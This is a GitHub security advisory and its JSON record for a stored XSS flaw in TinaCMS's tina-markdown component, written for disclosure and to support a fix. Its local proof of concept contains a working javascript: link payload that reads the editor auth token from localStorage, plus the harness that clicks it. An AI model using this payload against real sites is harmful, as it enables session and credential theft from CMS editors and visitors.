GHSA-C42Q-QVC3-J6VG
Vulnerability from github – Published: 2026-10-09 20:56 – Updated: 2026-10-09 20:56Summary
<tina-markdown> renders a rich-text AST into the DOM and, for a nodes, assigns the node's URL straight to the anchor's href with no scheme check. A link authored in the CMS as javascript:… renders as a live javascript: anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.
Details
The unvalidated sink:
packages/@tinacms/web-components/src/tina-markdown.js:67-69
if (node.type === 'html' || node.type === 'html_inline') {
return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
}
packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url;
node.url comes from the content attribute the site populates from the TinaCMS content API (:169-176), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at :68 handles only raw-HTML node values and returns before the anchor branch, so it never inspects node.url. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The mode: 'open' shadow root (:164-167) provides no script isolation.
The guard that exists in every sibling renderer:
packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322 <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242 <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19 <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16 <img src={sanitizeImageSrc(node.url)} .../>
tina-markdown.js:75 is the only rich-text link sink in the repository that omits it — six of seven sanitize.
That this is an oversight rather than intent: the 0.2.0 changelog entry states the goal of "matching the components prop on the React and Astro renderers" while adding DOMPurify for html nodes, and packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 only asserts that an https://example.com link renders — no scheme case is covered either way.
Default-enabled: customElements.define('tina-markdown', TinaMarkdown) runs at module scope (:179); importing the published entry point is the whole setup, with no option object or sanitizer setting.
Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:
import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);
Variant with the same root cause and the same fix: :76 (img.src). A javascript: URL does not execute from img.src, so it is not scored here, but the line has no validation either — which is why @tinacms/astro carries a separate sanitizeImageSrc.
PoC
Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads tina-markdown.js byte-for-byte from the checkout (bundled with its declared dompurify dependency) and also exposes the repository's own sanitizeUrl so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.
Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by playwright@1.49.0.
Setup
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts
entry.js:
import './tina-markdown.js'; // registers <tina-markdown>
import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;
site/index.html — the AST is what @tinacms/graphql returns for the markdown source [click me](javascript:…):
<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>
<body>
<h1>Site page</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
const ast = {
type: 'root',
children: [
{ type: 'p', children: [
{ type: 'a',
url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
children: [{ type: 'text', text: 'click me' }] }
]}
]
};
// Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
// value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
const el = document.createElement('tina-markdown');
el.setAttribute('content', JSON.stringify(ast));
document.getElementById('host').appendChild(el);
window.__ready = true;
</script>
</body></html>
run.cjs:
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});
res.end(fs.readFileSync(f));});
(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));
const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});
const page=await browser.newPage();
await page.goto(`http://127.0.0.1:${PORT}/`);
await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);
const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');
return {hrefAttr:a&&a.getAttribute('href')};});
await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
await page.waitForTimeout(500);
const pwned=await page.evaluate(()=>window.__pwned||null);
const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,
capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));
await browser.close(); srv.close();})();
Run
cd /tmp/tina-tm
npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts
node run.cjs
Observed output (captured verbatim)
{
"renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
"scriptExecutedOnClick": true,
"capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN",
"control_sanitizeUrl_output": ""
}
Expected vulnerable output — renderedAnchorHref is the attacker-supplied javascript: string unchanged (no scheme validation at the sink), scriptExecutedOnClick is true, and capturedByPayload contains the page's own domain plus the value read out of localStorage['tinacms-auth'] (script ran in the site origin with full read access to that origin's storage). All held.
Control — control_sanitizeUrl_output is "". The repository's own sanitizeUrl, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what packages/tinacms/src/rich-text/index.tsx:335 and packages/@tinacms/astro/src/LinkNode.astro:19 do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.
Second control, internal to the same file: an html node carrying <a href="javascript:alert(1)">x</a> is stripped by the DOMPurify call at :68, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.
Cleanup
rm -rf /tmp/tina-tm
The PoC was re-run after this report was drafted; the JSON above is that run.
Impact
Stored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (public/admin/) and stores the editor token in localStorage under tinacms-auth (packages/tinacms/src/auth/authenticate.ts:5, written at packages/tinacms/src/internalClient/authProvider.ts:117), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it.
Impacted: any site rendering TinaCMS rich-text through <tina-markdown>. That component exists precisely for non-React sites, i.e. the deployments that do not get tinacms's sanitized React renderer.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.0"
},
"package": {
"ecosystem": "npm",
"name": "@tinacms/web-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-108260"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-83"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:56:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`\u003ctina-markdown\u003e` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node\u0027s URL straight to the anchor\u0027s `href` with no scheme check. A link authored in the CMS as `javascript:\u2026` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site\u0027s origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.\n\n### Details\n\nThe unvalidated sink:\n\n```\npackages/@tinacms/web-components/src/tina-markdown.js:67-69\n if (node.type === \u0027html\u0027 || node.type === \u0027html_inline\u0027) {\n return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });\n }\npackages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url \u0026\u0026 node.type === \u0027a\u0027) el.href = node.url;\npackages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url \u0026\u0026 node.type === \u0027img\u0027) el.src = node.url;\n```\n\n`node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment \u2014 no HTML parser, no sanitizer. The `mode: \u0027open\u0027` shadow root (`:164-167`) provides no script isolation.\n\nThe guard that exists in every sibling renderer:\n\n```\npackages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = [\u0027http\u0027,\u0027https\u0027,\u0027mailto\u0027,\u0027tel\u0027,\u0027xref\u0027]\npackages/tinacms/src/rich-text/index.tsx:335 \u003ca href={sanitizeUrl(child.url)}\u003e\npackages/tinacms/src/rich-text/index.tsx:322 \u003cimg src={sanitizeUrl(child.url)} .../\u003e\npackages/tinacms/src/rich-text/static.tsx:254 \u003ca href={sanitizeUrl(child.url)}\u003e\npackages/tinacms/src/rich-text/static.tsx:242 \u003cimg src={sanitizeUrl(child.url)} .../\u003e\npackages/@tinacms/astro/src/LinkNode.astro:19 \u003ca href={sanitizeHref(node.url)}\u003e\npackages/@tinacms/astro/src/ImageNode.astro:16 \u003cimg src={sanitizeImageSrc(node.url)} .../\u003e\n```\n\n`tina-markdown.js:75` is the only rich-text link sink in the repository that omits it \u2014 six of seven sanitize.\n\nThat this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of \"matching the `components` prop on the React and Astro renderers\" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders \u2014 no scheme case is covered either way.\n\nDefault-enabled: `customElements.define(\u0027tina-markdown\u0027, TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting.\n\nSuggested fix \u2014 reuse the existing dependency-free subpath export rather than adding a third implementation:\n\n```js\nimport { sanitizeUrl } from \u0027@tinacms/mdx/sanitize-url\u0027;\nif (node.url \u0026\u0026 node.type === \u0027a\u0027) el.href = sanitizeUrl(node.url);\nif (node.url \u0026\u0026 node.type === \u0027img\u0027) el.src = sanitizeUrl(node.url);\n```\n\nVariant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either \u2014 which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`.\n\n### PoC\n\nSafe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository\u0027s own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc \u0026\u0026 git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-tm/site \u0026\u0026 cd /tmp/tina-tm\nnpm init -y \u003e/dev/null\nnpm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/web-components/src/tina-markdown.js\" ./tina-markdown.js\ncp \"$REPO/packages/@tinacms/mdx/src/sanitize-url.ts\" ./sanitize-url.ts\n```\n\n`entry.js`:\n\n```js\nimport \u0027./tina-markdown.js\u0027; // registers \u003ctina-markdown\u003e\nimport { sanitizeUrl } from \u0027./sanitize-url.ts\u0027; // the canonical guard, for the control\nwindow.__sanitizeUrl = sanitizeUrl;\n```\n\n`site/index.html` \u2014 the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:\u2026)`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003epublic site rendering CMS rich-text\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eSite page\u003c/h1\u003e\n\u003cdiv id=\"host\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\" src=\"/bundle.js\"\u003e\u003c/script\u003e\n\u003cscript type=\"module\"\u003e\n const ast = {\n type: \u0027root\u0027,\n children: [\n { type: \u0027p\u0027, children: [\n { type: \u0027a\u0027,\n url: \"javascript:window.__pwned=document.domain+\u0027 | localStorage[tinacms-auth]=\u0027+localStorage.getItem(\u0027tinacms-auth\u0027);void 0\",\n children: [{ type: \u0027text\u0027, text: \u0027click me\u0027 }] }\n ]}\n ]\n };\n // Stand-in for a signed-in editor\u0027s stored TinaCMS credential. The real key and\n // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.\n localStorage.setItem(\u0027tinacms-auth\u0027, \u0027DEMO-EDITOR-TOKEN\u0027);\n const el = document.createElement(\u0027tina-markdown\u0027);\n el.setAttribute(\u0027content\u0027, JSON.stringify(ast));\n document.getElementById(\u0027host\u0027).appendChild(el);\n window.__ready = true;\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n`run.cjs`:\n\n```js\nconst http=require(\u0027http\u0027),fs=require(\u0027fs\u0027),path=require(\u0027path\u0027),{chromium}=require(\u0027playwright\u0027);\nconst PORT=8811, DIR=path.join(__dirname,\u0027site\u0027);\nconst srv=http.createServer((req,res)=\u003e{const p=req.url===\u0027/\u0027?\u0027/index.html\u0027:req.url.split(\u0027?\u0027)[0];\n const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end(\u0027nf\u0027);return;}\n res.writeHead(200,{\u0027content-type\u0027:p.endsWith(\u0027.js\u0027)?\u0027text/javascript\u0027:\u0027text/html; charset=utf-8\u0027});\n res.end(fs.readFileSync(f));});\n(async()=\u003e{await new Promise(r=\u003esrv.listen(PORT,\u0027127.0.0.1\u0027,r));\n const browser=await chromium.launch({executablePath:\u0027/usr/bin/google-chrome\u0027});\n const page=await browser.newPage();\n await page.goto(`http://127.0.0.1:${PORT}/`);\n await page.waitForFunction(()=\u003ewindow.__ready===true); await page.waitForTimeout(300);\n const rendered=await page.evaluate(()=\u003e{const a=document.querySelector(\u0027tina-markdown\u0027).shadowRoot.querySelector(\u0027a\u0027);\n return {hrefAttr:a\u0026\u0026a.getAttribute(\u0027href\u0027)};});\n await page.evaluate(()=\u003edocument.querySelector(\u0027tina-markdown\u0027).shadowRoot.querySelector(\u0027a\u0027).click());\n await page.waitForTimeout(500);\n const pwned=await page.evaluate(()=\u003ewindow.__pwned||null);\n const control=await page.evaluate(()=\u003ewindow.__sanitizeUrl(\"javascript:window.__pwned = document.domain\"));\n console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,\n capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));\n await browser.close(); srv.close();})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-tm\nnpx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n \"renderedAnchorHref\": \"javascript:window.__pwned=document.domain+\u0027 | localStorage[tinacms-auth]=\u0027+localStorage.getItem(\u0027tinacms-auth\u0027);void 0\",\n \"scriptExecutedOnClick\": true,\n \"capturedByPayload\": \"127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN\",\n \"control_sanitizeUrl_output\": \"\"\n}\n```\n\nExpected vulnerable output \u2014 `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page\u0027s own domain plus the value read out of `localStorage[\u0027tinacms-auth\u0027]` (script ran in the site origin with full read access to that origin\u0027s storage). All held.\n\nControl \u2014 `control_sanitizeUrl_output` is `\"\"`. The repository\u0027s own `sanitizeUrl`, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what `packages/tinacms/src/rich-text/index.tsx:335` and `packages/@tinacms/astro/src/LinkNode.astro:19` do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.\n\nSecond control, internal to the same file: an `html` node carrying `\u003ca href=\"javascript:alert(1)\"\u003ex\u003c/a\u003e` is stripped by the DOMPurify call at `:68`, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-tm\n```\n\nThe PoC was re-run after this report was drafted; the JSON above is that run.\n\n### Impact\n\nStored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor\u0027s browser session on the site\u0027s origin. Because TinaCMS\u0027s documented layout serves the admin from the same origin (`public/admin/`) and stores the editor token in `localStorage` under `tinacms-auth` (`packages/tinacms/src/auth/authenticate.ts:5`, written at `packages/tinacms/src/internalClient/authProvider.ts:117`), a clicking visitor who is themselves an editor or administrator exposes that credential \u2014 the PoC reads it.\n\nImpacted: any site rendering TinaCMS rich-text through `\u003ctina-markdown\u003e`. That component exists precisely for non-React sites, i.e. the deployments that do not get `tinacms`\u0027s sanitized React renderer.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
"id": "GHSA-c42q-qvc3-j6vg",
"modified": "2026-10-09T20:56:45Z",
"published": "2026-10-09T20:56:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/pull/7523"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinacms/tinacms"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
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